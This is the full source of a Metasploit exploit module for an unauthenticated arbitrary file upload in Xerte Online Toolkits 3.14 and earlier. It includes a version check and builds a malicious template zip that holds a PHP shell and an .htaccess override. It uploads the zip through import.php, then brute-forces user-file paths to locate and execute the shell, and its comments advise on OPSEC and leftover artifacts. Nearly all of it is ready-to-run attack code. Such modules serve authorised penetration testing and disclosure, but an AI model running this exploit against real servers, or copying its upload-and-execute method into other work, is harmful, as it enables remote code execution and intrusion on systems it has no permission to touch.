## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import', 'Description' => %q{ This module exploits an authentication bypass allowing arbitrary file upload in versions 3.14 and earlier to upload and execute a shell. Specifically, this targets /website_code/php/import/import.php OPSEC This module results in directories being created and database entries which can not easily be cleaned up automatically. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Lester', ], 'References' => [ ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'], ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available'] ], 'Privileged' => false, 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'DisclosureDate' => '2025-08-04', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']) ] ) end def check print_status('Performing check') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php') }) if res&.code == 200 if res.body.include?('No valid language definition found in the file!') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Safe end def http_send_command(_cmd) # using for loop with the range for a in 1..100 do res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename) }) next unless res&.code == 200 print_status("Found shell at #{a}") register_file_for_cleanup(php_filename) break end send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename) }) end def upload_payload_zip # deliver the payload zip = Rex::Zip::Archive.new # add the payload to the zip archive, under a pre-defined location. # this is cleaner opsec than the default languages directory, as that leaves difficult to delete artifacts. # This has the added benefit of not needing to worry about the .htaccess restrictions. zip.add_file("media/#{php_filename}", payload.encoded) zip.add_file('media/.htaccess', htaccess_payload) zip.add_file('data.xml', %q{
}) zip.add_file('mal-theme.info', %q{ name: mal-theme display name: Flat: Black & Green description: A Black and Green theme similar to the Apereo website colours e.g. Aztec header and footer, off white background, grey and green accents. enabled: yes preview: apereo.jpg }) zip.add_file('template.xml', %q{ }) # add the zip archive to the post request mime = Rex::MIME::Message.new mime.add_part(zip.pack, 'application/zip', 'binary', %(form-data; name="filenameuploaded"; filename="#{zip_filename}")) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'import', 'import.php'), 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) end def exploit upload_payload_zip print_status('Uploaded the zip') http_send_command(payload.encoded) end def php_filename @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php' end def htaccess_payload <<~PAYLOAD RewriteEngine Off PAYLOAD end def zip_filename @zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip' end end